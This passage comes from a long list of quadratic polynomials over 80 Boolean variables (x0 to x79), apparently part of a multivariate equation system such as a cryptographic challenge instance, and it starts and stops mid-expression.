x28*x56 + x28*x57 + x28*x58 + x28*x64 + x28*x68 + x28*x74 + x28*x77 + x28*x79 + x28 + x29*x32 + x29*x36 + x29*x38 + x29*x40 + x29*x43 + x29*x45 + x29*x46 + x29*x48 + x29*x49 + x29*x50 + x29*x52 + x29*x53 + x29*x54 + x29*x55 + x29*x56 + x29*x58 + x29*x60 + x29*x61 + x29*x62 + x29*x63 + x29*x65 + x29*x66 + x29*x70 + x29*x71 + x29*x75 + x29*x77 + x29*x78 + x30*x31 + x30*x33 + x30*x35 + x30*x36 + x30*x37 + x30*x38 + x30*x39 + x30*x40 + x30*x41 + x30*x42 + x30*x43 + x30*x45 + x30*x47 + x30*x50 + x30*x51 + x30*x58 + x30*x59 + x30*x60 + x30*x61 + x30*x65 + x30*x70 + x30*x76 + x31*x34 + x31*x35 + x31*x38 + x31*x40 + x31*x41 + x31*x43 + x31*x44 + x31*x45 + x31*x47 + x31*x48 + x31*x53 + x31*x54 + x31*x55 + x31*x56 + x31*x60 + x31*x63 + x31*x64 + x31*x66 + x31*x67 + x31*x71 + x31*x72 + x31*x73 + x31*x75 + x31*x76 + x31*x78 + x31 + x32*x33 + x32*x34 + x32*x35 + x32*x36 + x32*x40 + x32*x41 + x32*x43 + x32*x44 + x32*x47 + x32*x48 + x32*x50 + x32*x51 + x32*x52 + x32*x59 + x32*x60 + x32*x62 + x32*x64 + x32*x66 + x32*x68 + x32*x69 + x32*x70 + x32*x71 + x32*x73 + x32*x75 + x32*x77 + x32*x79 + x33*x36 + x33*x43 + x33*x44 + x33*x46 + x33*x47 + x33*x48 + x33*x53 + x33*x54 + x33*x56 + x33*x57 + x33*x60 + x33*x65 + x33*x67 + x33*x68 + x33*x69 + x33*x71 + x33*x72 + x33*x74 + x33*x75 + x33*x79 + x33 + x34*x36 + x34*x37 + x34*x41 + x34*x45 + x34*x47 + x34*x48 + x34*x49 + x34*x51 + x34*x52 + x34*x53 + x34*x55 + x34*x56 + x34*x60 + x34*x63 + x34*x66 + x34*x68 + x34*x75 + x34*x76 + x34*x77 + x34*x79 + x34 + x35*x37 + x35*x38 + x35*x39 + x35*x40 + x35*x41 + x35*x43 + x35*x44 + x35*x45 + x35*x48 + x35*x49 + x35*x51 + x35*x52 + x35*x54 + x35*x57 + x35*x58 + x35*x59 + x35*x61 + x35*x62 + x35*x64 + x35*x65 + x35*x67 + x35*x68 + x35*x69 + x35*x70 + x35*x71 + x35*x73 + x35*x74 + x35*x75 + x35*x79 + x35 + x36*x39 + x36*x40 + x36*x42 + x36*x49 + x36*x50 + x36*x51 + x36*x52 + x36*x55 + x36*x58 + x36*x64 + x36*x65 + x36*x66 + x36*x67 + x36*x68 + x36*x69 + x36*x73 + x36*x75 + x36*x76 + x36*x77 + x36*x78 + x36*x79 + x37*x38 + x37*x40 + x37*x41 + x37*x42 + x37*x43 + x37*x46 + x37*x49 + x37*x54 + x37*x55 + x37*x57 + x37*x58 + x37*x59 + x37*x62 + x37*x63 + x37*x64 + x37*x66 + x37*x68 + x37*x69 + x37*x70 + x37*x74 + x37*x79 + x38*x39 + x38*x44 + x38*x48 + x38*x51 + x38*x53 + x38*x56 + x38*x59 + x38*x66 + x38*x67 + x38*x69 + x38*x70 + x38*x71 + x38*x73 + x38*x75 + x38*x77 + x38*x78 + x38*x79 + x39*x40 + x39*x45 + x39*x49 + x39*x51 + x39*x53 + x39*x59 + x39*x60 + x39*x61 + x39*x63 + x39*x64 + x39*x68 + x39*x69 + x39*x70 + x39*x71 + x39*x73 + x39*x74 + x39*x77 + x39*x78 + x39*x79 + x40*x41 + x40*x44 + x40*x46 + x40*x48 + x40*x50 + x40*x51 + x40*x52 + x40*x54 + x40*x57 + x40*x61 + x40*x63 + x40*x66 + x40*x67 + x40*x69 + x40*x70 + x40*x72 + x40*x74 + x40*x75 + x40*x79 + x40 + x41*x42 + x41*x45 + x41*x46 + x41*x47 + x41*x50 + x41*x51 + x41*x52 + x41*x53 + x41*x55 + x41*x56 + x41*x58 + x41*x59 + x41*x62 + x41*x64 + x41*x67 + x41*x68 + x41*x69 + x41*x70 + x41*x71 + x41*x76 + x41*x77 + x41*x78 + x41 + x42*x43 + x42*x45 + x42*x47 + x42*x49 + x42*x53 + x42*x54 + x42*x55 + x42*x58 + x42*x62 + x42*x64 + x42*x65 + x42*x66 + x42*x67 + x42*x69 + x42*x74 + x42 + x43*x44 + x43*x47 + x43*x50 + x43*x51 + x43*x52 + x43*x55 + x43*x56 + x43*x58 + x43*x63 + x43*x67 + x43*x68 + x43*x70 + x43*x75 + x43*x76 + x43*x77 + x43 + x44*x45 + x44*x48 + x44*x49 + x44*x50 + x44*x53 + x44*x57 + x44*x58 + x44*x59 + x44*x60 + x44*x62 + x44*x69 + x44*x71 + x44*x73 + x44*x74 + x44*x75 + x44*x76 + x44*x78 + x44*x79 + x45*x46 + x45*x47 + x45*x51 + x45*x52 + x45*x59 + x45*x60 + x45*x64 + x45*x66 + x45*x69 + x45*x72 + x45*x73 + x45*x74 + x45*x75 + x45*x77 + x45 + x46*x50 + x46*x51 + x46*x54 + x46*x55 + x46*x56 + x46*x57 + x46*x58 + x46*x59 + x46*x61 + x46*x64 + x46*x65 + x46*x66 + x46*x67 + x46*x68 + x46*x69 + x46*x70 + x46*x74 + x46*x76 + x46*x77 + x46*x78 + x47*x50 + x47*x52 + x47*x54 + x47*x56 + x47*x58 + x47*x64 + x47*x68 + x47*x71 + x47*x72 + x47*x73 + x47*x75 + x47*x76 + x47*x77 + x47*x78 + x47*x79 + x47 + x48*x49 + x48*x52 + x48*x53 + x48*x55 + x48*x56 + x48*x57 + x48*x58 + x48*x63 + x48*x64 + x48*x65 + x48*x66 + x48*x70 + x48*x71 + x48*x72 + x48*x73 + x48*x74 + x48*x76 + x48*x79 + x49*x50 + x49*x51 + x49*x52 + x49*x53 + x49*x54 + x49*x59 + x49*x60 + x49*x61 + x49*x62 + x49*x65 + x49*x66 + x49*x68 + x49*x69 + x49*x77 + x49*x79 + x49 + x50*x51 + x50*x53 + x50*x54 + x50*x59 + x50*x61 + x50*x62 + x50*x66 + x50*x67 + x50*x71 + x50*x72 + x50*x77 + x50*x79 + x50 + x51*x53 + x51*x55 + x51*x58 + x51*x62 + x51*x63 + x51*x64 + x51*x66 + x51*x67 + x51*x69 + x51*x71 + x51*x73 + x51*x75 + x51*x77 + x51*x78 + x51*x79 + x52*x53 + x52*x54 + x52*x55 + x52*x56 + x52*x59 + x52*x61 + x52*x62 + x52*x64 + x52*x67 + x52*x71 + x52*x73 + x52*x74 + x52*x77 + x52*x79 + x52 + x53*x54 + x53*x55 + x53*x56 + x53*x57 + x53*x60 + x53*x63 + x53*x64 + x53*x69 + x53*x71 + x53*x72 + x53*x73 + x53*x75 + x53*x76 + x53*x77 + x53 + x54*x59 + x54*x60 + x54*x61 + x54*x66 + x54*x68 + x54*x69 + x54*x70 + x54*x71 + x54*x75 + x54*x76 + x54*x78 + x54*x79 + x54 + x55*x59 + x55*x60 + x55*x61 + x55*x64 + x55*x65 + x55*x66 + x55*x70 + x55*x71 + x55*x72 + x55*x73 + x55*x74 + x55*x76 + x55 + x56*x57 + x56*x58 + x56*x64 + x56*x67 + x56*x68 + x56*x69 + x56*x72 + x56*x73 + x56*x74 + x56*x75 + x56*x78 + x57*x58 + x57*x59 + x57*x62 + x57*x63 + x57*x65 + x57*x68 + x57*x69 + x57*x71 + x57*x72 + x57*x75 + x57*x79 + x58*x59 + x58*x60 + x58*x63 + x58*x68 + x58*x71 + x58*x72 + x58*x73 + x58*x74 + x58*x76 + x58*x77 + x58*x78 + x58*x79 + x59*x62 + x59*x65 + x59*x67 + x59*x68 + x59*x71 + x59*x72 + x59*x73 + x59*x75 + x59*x79 + x60*x61 + x60*x63 + x60*x66 + x60*x67 + x60*x68 + x60*x70 + x60*x72 + x60*x73 + x60*x75 + x60*x77 + x60 + x61*x62 + x61*x63 + x61*x64 + x61*x66 + x61*x67 + x61*x68 + x61*x69 + x61*x71 + x61*x78 + x62*x63 + x62*x68 + x62*x71 + x62*x72 + x62*x73 + x62*x74 + x62*x77 + x62*x78 + x62*x79 + x62 + x63*x67 + x63*x74 + x63*x77 + x63*x78 + x64*x65 + x64*x66 + x64*x67 + x64*x68 + x64*x69 + x64*x71 + x64*x72 + x64*x74 + x64*x77 + x64*x78 + x64*x79 + x65*x71 + x65*x72 + x65*x74 + x65*x75 + x65*x76 + x66*x67 + x66*x71 + x66*x78 + x66*x79 + x67*x68 + x67*x69 + x67*x71 + x67*x73 + x67*x74 + x67*x75 + x67*x76 + x67*x77 + x67*x79 + x67 + x68*x70 + x68*x71 + x68*x73 + x68*x75 + x68*x77 + x68*x78 + x68*x79 + x69*x72 + x69*x74 + x69*x75 + x69*x78 + x69*x79 + x69 + x70*x71 + x70*x72 + x70*x74 + x70*x76 + x70*x77 + x70 + x71*x73 + x72*x73 + x72*x76 + x72*x77 + x72*x79 + x72 + x73*x74 + x73*x75 + x73*x76 + x73*x77 + x73*x78 + x73*x79 + x74*x75 + x74*x76 + x74*x77 + x74*x78 + x74 + x75*x77 + x75*x79 + x76*x77 + x76*x78 + x76 + x78 + x79 + 1, x0*x2 + x0*x3 + x0*x4 + x0*x6 + x0*x7 + x0*x9 + x0*x11 + x0*x12 + x0*x13 + x0*x15 + x0*x16 + x0*x17 + x0*x19 + x0*x21 + x0*x24 + x0*x26 + x0*x28 + x0*x29 + x0*x30 + x0*x31 + x0*x32 + x0*x35 + x0*x40 + x0*x42 + x0*x43 + x0*x46 + x0*x47 + x0*x48 + x0*x49 + x0*x50 + x0*x51 + x0*x53 + x0*x54 + x0*x56 + x0*x57 + x0*x58 + x0*x61 + x0*x64 + x0*x67 + x0*x68 + x0*x71 + x0*x72 + x0*x74 + x0*x76 + x0*x77 + x0*x78 + x1*x2 + x1*x4 + x1*x9 + x1*x10 + x1*x12 + x1*x13 + x1*x15 + x1*x20 + x1*x22 + x1*x25 + x1*x28 + x1*x30 + x1*x32 + x1*x33 + x1*x34 + x1*x36 + x1*x38 + x1*x39 + x1*x41 + x1*x42 + x1*x43 + x1*x44 + x1*x45 + x1*x46 + x1*x47 + x1*x48 + x1*x49 + x1*x50 + x1*x52 + x1*x54 + x1*x55 + x1*x56 + x1*x62 + x1*x64 + x1*x65 + x1*x69 + x1*x71 + x1*x74 + x1*x75 + x1*x77 + x1 + x2*x3 + x2*x4 + x2*x5 + x2*x6 + x2*x8 + x2*x12 + x2*x13 + x2*x15 + x2*x16 + x2*x17 + x2*x18 + x2*x20 + x2*x23 + x2*x25 + x2*x27 + x2*x28 + x2*x29 + x2*x30 + x2*x33 + x2*x34 + x2*x35 + x2*x36 + x2*x37 + x2*x39 + x2*x40 + x2*x41 + x2*x44 + x2*x51 + x2*x53 + x2*x58 + x2*x64 + x2*x67 + x2*x68 + x2*x69 + x2*x71 + x2*x77 + x2 + x3*x5 + x3*x7 + x3*x8 + x3*x11 + x3*x12 + x3*x13 + x3*x17 + x3*x19 + x3*x20 + x3*x21 + x3*x22 + x3*x23 + x3*x24 + x3*x25 + x3*x27 + x3*x28 + x3*x29 + x3*x30 + x3*x31 + x3*x32 + x3*x34 + x3*x37 + x3*x38 + x3*x39 + x3*x41 + x3*x46 + x3*x48 + x3*x52 + x3*x53 + x3*x56 + x3*x59 + x3*x61 + x3*x63 + x3*x64 + x3*x65 + x3*x73 + x3*x75 + x3*x76 + x3*x78 + x3 + x4*x6 + x4*x7 + x4*x8 + x4*x9 + x4*x13 + x4*x14 + x4*x15 + x4*x19 + x4*x23 + x4*x24 + x4*x31 + x4*x32 + x4*x36 + x4*x40 + x4*x42 + x4*x43 + x4*x44 + x4*x45 + x4*x47 + x4*x49 + x4*x51 + x4*x52 + x4*x57 + x4*x59 + x4*x63 + x4*x64 + x4*x65 + x4*x67 + x4*x68 + x4*x69 + x4*x70 + x4*x71 + x4*x72 + x4*x75 + x4*x76 + x4*x77 + x4 + x5*x6 + x5*x7 + x5*x8 + x5*x10 + x5*x11 + x5*x14 + x5*x16 + x5*x18 + x5*x19 + x5*x21 + x5*x22 + x5*x23 + x5*x25 + x5*x26 + x5*x28 + x5*x29 + x5*x31 + x5*x33 + x5*x34 + x5*x35 + x5*x38 + x5*x44 + x5*x47 + x5*x48 + x5*x49 + x5*x50 + x5*x52 + x5*x53 + x5*x55 + x5*x60 + x5*x61 + x5*x64 + x5*x65 + x5*x69 + x5*x74 + x5*x77 + x5*x78 + x5 + x6*x9 + x6*x11 + x6*x12 + x6*x14 + x6*x15 + x6*x18 + x6*x22 + x6*x23 + x6*x24 + x6*x25 + x6*x26 + x6*x27 + x6*x29 + x6*x31 + x6*x32 + x6*x33 + x6*x34 + x6*x35 + x6*x37 + x6*x38 + x6*x40 + x6*x42 + x6*x43 + x6*x44 + x6*x49 + x6*x50 + x6*x51 + x6*x53 + x6*x55 + x6*x56 + x6*x58 + x6*x59 + x6*x63 + x6*x65 + x6*x66 + x6*x68 + x6*x70 + x6*x72 + x6*x73 + x6*x75 + x6*x78 + x6*x79 + x6 + x7*x11 + x7*x17 + x7*x18 + x7*x19 + x7*x20 + x7*x21 + x7*x22 + x7*x23 + x7*x24 + x7*x26 + x7*x27 + x7*x30 + x7*x31 + x7*x32 + x7*x33 + x7*x35 + x7*x36 + x7*x38 + x7*x39 + x7*x42 + x7*x43 + x7*x44 + x7*x45 + x7*x46 + x7*x50 + x7*x54 + x7*x57 + x7*x59 + x7*x60 + x7*x61 + x7*x62 + x7*x63 + x7*x64 + x7*x69 + x7*x70 + x7*x71 + x7*x72 + x7*x73 + x7*x78 + x7*x79 + x7 + x8*x9 + x8*x12 + x8*x14 + x8*x15 + x8*x22 + x8*x23 + x8*x25 + x8*x26 + x8*x28 + x8*x29 + x8*x30 + x8*x33 + x8*x34 + x8*x36 + x8*x37 + x8*x38 + x8*x39 + x8*x40 + x8*x42 + x8*x43 + x8*x46 + x8*x48 + x8*x49 + x8*x53 + x8*x55 + x8*x56 + x8*x58 + x8*x59 + x8*x62 + x8*x65 + x8*x68 + x8*x71 + x8*x72 + x8*x73 + x8*x75 + x8*x76 + x8*x77 + x8*x78 + x8*x79 + x8 + x9*x12 + x9*x15 + x9*x16 + x9*x22 + x9*x23 + x9*x25 + x9*x27 + x9*x30 + x9*x31 + x9*x32 + x9*x33 + x9*x34 + x9*x37 + x9*x38 + x9*x42 + x9*x47 + x9*x48 + x9*x49 + x9*x51 + x9*x52 + x9*x54 + x9*x55 + x9*x56 + x9*x57 + x9*x58 + x9*x60 + x9*x61 + x9*x62 + x9*x66 + x9*x67 + x9*x68 + x9*x69 + x9*x74 + x9*x77 + x9 + x10*x12 + x10*x13 + x10*x16 + x10*x17 + x10*x18 + x10*x19 + x10*x21 + x10*x23 + x10*x27 + x10*x32 + x10*x34 + x10*x35 + x10*x40 + x10*x43 + x10*x44 + x10*x52 + x10*x54 + x10*x55 + x10*x58 + x10*x62 + x10*x63 + x10*x72 + x10*x73 + x10*x77 + x10*x78 + x10 + x11*x14 + x11*x18 + x11*x19 + x11*x22 + x11*x24 + x11*x25 + x11*x26 + x11*x30 + x11*x32 + x11*x34 + x11*x37 + x11*x39 + x11*x42 + x11*x43 + x11*x46 + x11*x48 + x11*x50 + x11*x54 + x11*x55 + x11*x58 + x11*x60 + x11*x61 + x11*x62 + x11*x63 + x11*x65 + x11*x66 + x11*x67 + x11*x68 + x11*x76 + x12*x13 + x12*x14 + x12*x15 + x12*x16 + x12*x18 + x12*x19 + x12*x21 + x12*x22 + x12*x23 + x12*x27 + x12*x29 + x12*x30 + x12*x34 + x12*x35 + x12*x38 + x12*x39 + x12*x42 + x12*x47 + x12*x48 + x12*x49 + x12*x50 + x12*x52 + x12*x55 + x12*x58 + x12*x59 + x12*x61 + x12*x63 + x12*x66 + x12*x69 + x12*x76 + x12*x78 + x12 + x13*x14 + x13*x16 + x13*x17 + x13*x18 + x13*x22 + x13*x23 + x13*x25 + x13*x28 + x13*x29 + x13*x30 + x13*x31 + x13*x33 + x13*x36 + x13*x37 + x13*x38 + x13*x39 + x13*x40 + x13*x41 + x13*x42 + x13*x43 + x13*x44 + x13*x45 + x13*x47 + x13*x49 + x13*x50 + x13*x52 + x13*x54 + x13*x56 + x13*x57 + x13*x59 + x13*x60 + x13*x65 + x13*x67 + x13*x69 + x13*x70 + x13*x73 + x13*x74 + x13*x75 + x13*x77 + x13*x78 + x13 + x14*x15 + x14*x17 + x14*x18 + x14*x19 + x14*x21 + x14*x22 + x14*x25 + x14*x27 + x14*x28 + x14*x29 + x14*x33 + x14*x35 + x14*x37 + x14*x39 + x14*x43 + x14*x44 + x14*x46 + x14*x48 + x14*x50 + x14*x51 + x14*x54 + x14*x56 + x14*x57 + x14*x58 + x14*x60 + x14*x61 + x14*x62 + x14*x63 + x14*x66 + x14*x69 + x14*x71 + x14*x74 + x14*x75 + x14*x76 + x14*x77 + x15*x17 + x15*x19 + x15*x20 + x15*x23 + x15*x24 + x15*x25 + x15*x26 + x15*x28 + x15*x30 + x15*x31 + x15*x32 + x15*x33 + x15*x35 + x15*x36 + x15*x38 + x15*x39 + x15*x42 + x15*x49 + x15*x53 + x15*x55 + x15*x57 + x15*x59 + x15*x60 + x15*x63 + x15*x66 + x15*x70 + x15*x71 + x15*x72 + x15*x79 + x16*x17 + x16*x22 + x16*x24 + x16*x25 + x16*x26 + x16*x30 + x16*x31 + x16*x36 + x16*x37 + x16*x38 + x16*x40 + x16*x46 + x16*x50 + x16*x51 + x16*x52 + x16*x53 + x16*x55 + x16*x56 + x16*x57 + x16*x58 + x16*x62 + x16*x65 + x16*x66 + x16*x68 + x16*x69 + x16*x72 + x16*x74 + x16*x75 + x16*x76 + x16*x77 + x16 + x17*x18 + x17*x19 + x17*x20 + x17*x21 + x17*x22 + x17*x24 + x17*x25 + x17*x27 + x17*x28 + x17*x30 + x17*x33 + x17*x34 + x17*x37 + x17*x41 + x17*x42 + x17*x45 + x17*x47 + x17*x48 + x17*x49 + x17*x51 + x17*x52 + x17*x53 + x17*x56 + x17*x57 + x17*x58 + x17*x62 + x17*x63 + x17*x64 + x17*x68 + x17*x74 + x17*x75 + x17*x76 + x18*x20 + x18*x21 + x18*x26 + x18*x27 + x18*x28 + x18*x30 + x18*x31 + x18*x32 + x18*x36 + x18*x37 + x18*x39 + x18*x41 + x18*x42 + x18*x47 + x18*x48 + x18*x49 + x18*x50 + x18*x51 + x18*x54 + x18*x56 + x18*x58 + x18*x59 + x18*x61 + x18*x64 + x18*x67 + x18*x68 + x18*x71 + x18*x73 + x18*x75 + x18*x76 + x18*x77 + x18*x78 + x18 + x19*x23 + x19*x24 + x19*x25 + x19*x26 + x19*x27 + x19*x28 + x19*x29 + x19*x31 + x19*x33 + x19*x36 + x19*x37 + x19*x39 + x19*x40 + x19*x43 + x19*x53 + x19*x56 + x19*x59 + x19*x61 + x19*x63 + x19*x64 + x19*x66 + x19*x67 + x19*x68 + x19*x69 + x19*x71 + x19*x72 + x19*x74 + x20*x21 + x20*x24 + x20*x26 + x20*x27 + x20*x28 + x20*x29 + x20*x31 + x20*x33 + x20*x34 + x20*x36 + x20*x37 + x20*x39 + x20*x40 + x20*x43 + x20*x44 + x20*x46 + x20*x47 + x20*x48 + x20*x49 + x20*x53 + x20*x54 + x20*x57 + x20*x59 + x20*x63 + x20*x64 + x20*x65 + x20*x66 + x20*x68 + x20*x70 + x20*x71 + x20*x76 + x21*x24 + x21*x25 + x21*x26 + x21*x27 + x21*x32 + x21*x34 + x21*x37 + x21*x38 + x21*x39 + x21*x40 + x21*x41 + x21*x42 + x21*x43 + x21*x44 + x21*x46 + x21*x47 + x21*x48 + x21*x50 + x21*x51 + x21*x53 + x21*x54 + x21*x56 + x21*x57 + x21*x58 + x21*x59 + x21*x61 + x21*x62 + x21*x63 + x21*x64 + x21*x65 + x21*x67 + x21*x76 + x21*x78 + x21*x79 + x21 + x22*x23 + x22*x26 + x22*x27 + x22*x28 + x22*x30 + x22*x32 + x22*x33 + x22*x35 + x22*x36 + x22*x37 + x22*x38 + x22*x39 + x22*x40 + x22*x41 + x22*x44 + x22*x46 + x22*x48 + x22*x50 + x22*x51 + x22*x53 + x22*x54 + x22*x56 + x22*x57 + x22*x59 + x22*x61 + x22*x62 + x22*x63 + x22*x64 + x22*x65 + x22*x66 + x22*x68 + x22*x69 + x22*x70 + x22*x71 + x22*x72 + x22*x74 + x22*x77 + x23*x24 + x23*x26 + x23*x27 + x23*x30 + x23*x37 + x23*x38 + x23*x40 + x23*x41 + x23*x43 + x23*x44 + x23*x47 + x23*x48 + x23*x49 + x23*x52 + x23*x54 + x23*x55 + x23*x56 + x23*x59 + x23*x62 + x23*x64 + x23*x66 + x23*x68 + x23*x73 + x23*x77 + x23*x79 + x23 + x24*x26 + x24*x27 + x24*x28 + x24*x29 + x24*x30 + x24*x31 + x24*x33 + x24*x34 + x24*x36 + x24*x38 + x24*x39 + x24*x40 + x24*x42 + x24*x43 + x24*x44 + x24*x45 + x24*x46 + x24*x47 + x24*x48 + x24*x51 + x24*x55 + x24*x58 + x24*x60 + x24*x61 + x24*x63 + x24*x67 + x24*x69 + x24*x70 + x24*x71 + x24*x74 + x24*x76 + x24*x78 + x24*x79 + x24 + x25*x29 + x25*x33 + x25*x34 + x25*x35 + x25*x39 + x25*x42 + x25*x45 + x25*x46 + x25*x50 + x25*x51 + x25*x54 + x25*x57 + x25*x58 + x25*x59 + x25*x64 + x25*x65 + x25*x67 + x25*x69 + x25*x72 + x25*x73 + x25*x77 + x26*x29 + x26*x31 + x26*x32 + x26*x33 + x26*x41 + x26*x42 + x26*x43 + x26*x44 + x26*x46 + x26*x47 + x26*x48 + x26*x49 + x26*x51 + x26*x53 + x26*x54 + x26*x56 + x26*x57 + x26*x58 + x26*x61 + x26*x63 + x26*x64 + x26*x65 + x26*x66 + x26*x67 + x26*x71 + x26*x73 + x26*x74 + x26*x76 + x27*x29 + x27*x30 + x27*x32 + x27*x33 + x27*x34 + x27*x35 + x27*x36 + x27*x37 + x27*x38 + x27*x40 + x27*x41 + x27*x44 + x27*x46 + x27*x48 + x27*x49 + x27*x50 + x27*x52 + x27*x53 + x27*x54 + x27*x55 + x27*x56 + x27*x60 + x27*x61 + x27*x62 + x27*x63 + x27*x64 + x27*x66 + x27*x70 + x27*x71 + x27*x74 + x27*x75 + x27*x77 + x27 + x28*x29 + x28*x31 + x28*x32 + x28*x33 + x28*x34 + x28*x36 + x28*x37 + x28*x38 + x28*x39 + x28*x40 + x28*x42 + x28*x43 + x28*x45 + x28*x46 + x28*x49 + x28*x50 + x28*x53 + x28*x54 + x28*x56 + x28*x58 + x28*x59 + x28*x63 + x28*x68 + x28*x70 + x28*x75 + x28*x79 + x29*x30 + x29*x33 + x29*x36 + x29*x38 + x29*x39 + x29*x41 + x29*x42 + x29*x44 + x29*x46 + x29*x54 + x29*x57 + x29*x64 + x29*x65 + x29*x68 + x29*x69 + x29*x72 + x29*x75 + x29*x76 + x29*x77 + x29*x79 + x30*x32 + x30*x35 + x30*x36 + x30*x40 + x30*x43 + x30*x48 + x30*x51 + x30*x54 + x30*x58 + x30*x59 + x30*x62 + x30*x63 + x30*x65 + x30*x68 + x30*x69 + x30*x71 + x30*x72 + x30*x73 + x30*x74 + x30*x75 + x30*x76 + x30*x77 + x30*x78 + x30 + x31*x33 + x31*x34 + x31*x36 + x31*x38 + x31*x39 + x31*x40 + x31*x43 + x31*x44 + x31*x46 + x31*x48 + x31*x50 + x31*x51 + x31*x52 + x31*x54 + x31*x55 + x31*x57 + x31*x60 + x31*x62 + x31*x63 + x31*x64 + x31*x65 + x31*x67 + x31*x68 + x31*x69 + x31*x70 + x31*x72 + x31*x73 + x31*x74 + x31*x77 + x31*x78 + x32*x36 + x32*x37 + x32*x38 + x32*x43 + x32*x44 + x32*x45 + x32*x49 + x32*x51 + x32*x52 + x32*x54 + x32*x55 + x32*x59 + x32*x60 + x32*x61 + x32*x62 + x32*x64 + x32*x65 + x32*x66 + x32*x67 + x32*x70 + x32*x72 + x32*x73 + x32*x74 + x32*x76 + x32*x78 + x33*x34 + x33*x35 + x33*x37 + x33*x38 + x33*x39 + x33*x40 + x33*x41 + x33*x42 + x33*x43 + x33*x44 + x33*x46 + x33*x49 + x33*x51 + x33*x54 + x33*x55 + x33*x57 + x33*x58 + x33*x61 + x33*x62 + x33*x63 + x33*x66 + x33*x67 + x33*x69 + x33*x71 + x33*x72 + x33*x77 + x33*x78 + x33*x79 + x34*x35 + x34*x37 + x34*x38 + x34*x40 + x34*x43 + x34*x44 + x34*x45 + x34*x47 + x34*x51 + x34*x52 + x34*x53 + x34*x55 + x34*x56 + x34*x58 + x34*x59 + x34*x61 + x34*x62 + x34*x63 + x34*x66 + x34*x67 + x34*x71 + x34*x72 + x34*x76 + x34 + x35*x36 + x35*x37 + x35*x38 + x35*x40 + x35*x41 + x35*x42 + x35*x43 + x35*x47 + x35*x48 + x35*x49 + x35*x51 + x35*x54 + x35*x55 + x35*x56 + x35*x57 + x35*x65 + x35*x67 + x35*x71 + x35*x72 + x35*x73 + x35*x74 + x35*x76 + x35*x78 + x36*x40 + x36*x42 + x36*x43 + x36*x44 + x36*x47 + x36*x50 + x36*x51 + x36*x52 + x36*x55 + x36*x56 + x36*x57 + x36*x59 + x36*x60 + x36*x61 + x36*x62 + x36*x63 + x36*x64 + x36*x66 + x36*x71 + x36*x73 + x36*x76 + x36*x77 + x36*x78 + x37*x40 + x37*x41 + x37*x44 + x37*x47 + x37*x49 + x37*x52 + x37*x53 + x37*x54 + x37*x55 + x37*x57 + x37*x63 + x37*x64 + x37*x65 + x37*x66 + x37*x67 + x37*x69 + x37*x70 + x37*x71 + x37*x73 + x37*x75 + x37*x77 + x37*x78 + x37*x79 + x38*x39 + x38*x40 + x38*x41 + x38*x43 + x38*x44 + x38*x45 + x38*x47 + x38*x48 + x38*x49 + x38*x50 + x38*x51 + x38*x52 + x38*x53 + x38*x54 + x38*x55 + x38*x56 + x38*x58 + x38*x59 + x38*x60 + x38*x61 + x38*x62 + x38*x63 + x38*x64 + x38*x65 + x38*x66 + x38*x68 + x38*x69 + x38*x72 + x38*x73 + x38*x74 + x38*x76 + x38*x78 + x38*x79 + x39*x40 + x39*x42 + x39*x46 + x39*x47 + x39*x48 + x39*x49 + x39*x51 + x39*x52 + x39*x54 + x39*x56 + x39*x62 + x39*x68 + x39*x71 + x39*x72 + x39*x74 + x39*x75 + x39*x76 + x39*x77 + x39 + x40*x42 + x40*x45 + x40*x50 + x40*x51 + x40*x53 + x40*x57 + x40*x58 + x40*x59 + x40*x65 + x40*x66 + x40*x67 + x40*x68 + x40*x69 + x40*x71 + x40*x73 + x40*x75 + x40*x76 + x40*x78 + x40 + x41*x45 + x41*x47 + x41*x49 + x41*x50 + x41*x53 + x41*x54 + x41*x55 + x41*x56 + x41*x60 + x41*x62 + x41*x63 + x41*x64 + x41*x65 + x41*x66 + x41*x67 + x41*x69 + x41*x73 + x41*x76 + x41*x77 + x41*x79 + x42*x43 + x42*x44 + x42*x45 + x42*x47 + x42*x48 + x42*x50 + x42*x51 + x42*x55 + x42*x56 + x42*x65 + x42*x66 + x42*x67 + x42*x72 + x42*x73 + x42*x76 + x42*x77 + x42*x78 + x42*x79 + x42 + x43*x51 + x43*x52 + x43*x53 + x43*x61 + x43*x63 + x43*x66 + x43*x69 + x43*x71 + x43*x73 + x43*x74 + x43*x76 + x43*x78 + x43*x79 + x44*x45 + x44*x46 + x44*x47 + x44*x49 + x44*x52 + x44*x54 + x44*x56 + x44*x58 + x44*x62 + x44*x63 + x44*x64 + x44*x65 + x44*x67 + x44*x72 + x44*x73 + x44*x74 + x44*x78 + x44 + x45*x47 + x45*x50 + x45*x51 + x45*x52 + x45*x54 + x45*x56 + x45*x58 + x45*x61 + x45*x63 + x45*x64 + x45*x65 + x45*x69 + x45*x73 + x45*x74 + x45*x75 + x45*x76 + x45*x77 + x45*x78 + x45*x79 + x45 + x46*x47 + x46*x48 + x46*x51 + x46*x52 + x46*x55 + x46*x56 + x46*x57 + x46*x58 + x46*x60 + x46*x61 + x46*x62 + x46*x64 + x46*x66 + x46*x67 + x46*x70 + x46*x77 + x46*x79 + x47*x48 + x47*x50 + x47*x53 + x47*x55 + x47*x57 + x47*x58 + x47*x61 + x47*x63 + x47*x64 + x47*x65 + x47*x66 + x47*x67 + x47*x68 + x47*x69 + x47*x71 + x47*x73 + x47*x75 + x47*x77 + x47*x79 + x47 + x48*x50 + x48*x53 + x48*x55 + x48*x60 + x48*x61 + x48*x62 + x48*x63 + x48*x68 + x48*x69 + x48*x73 + x48*x76 + x48*x78 + x49*x51 + x49*x53 + x49*x56 + x49*x59 + x49*x60 + x49*x62 + x49*x64 + x49*x66 + x49*x67 + x49*x68 + x49*x69 + x49*x71 + x49*x74 + x49*x75 + x49*x77 + x49*x79 + x49 + x50*x52 + x50*x53 + x50*x55 + x50*x57 + x50*x58 + x50*x63 + x50*x64 + x50*x66 + x50*x67 + x50*x69 + x50*x70 + x50*x72 + x50*x73 + x50*x76 + x50*x77 + x50 + x51*x52 + x51*x53 + x51*x57 + x51*x60 + x51*x61 + x51*x62 + x51*x63 + x51*x64 + x51*x65 + x51*x69 + x51*x70 + x51*x73 + x51*x74 + x51*x75 + x51*x76 + x52*x56 + x52*x57 + x52*x58 + x52*x59 + x52*x61 + x52*x65 + x52*x67 + x52*x72 + x52*x78 + x52 + x53*x54 + x53*x57 + x53*x58 + x53*x59 + x53*x63 + x53*x64 + x53*x67 + x53*x69 + x53*x72 + x53*x75 + x53*x76 + x53*x77 + x53*x79 + x54*x63 + x54*x66 + x54*x70 + x54*x72 + x54*x76 + x54*x77 + x54*x78 + x54*x79 + x54 + x55*x56 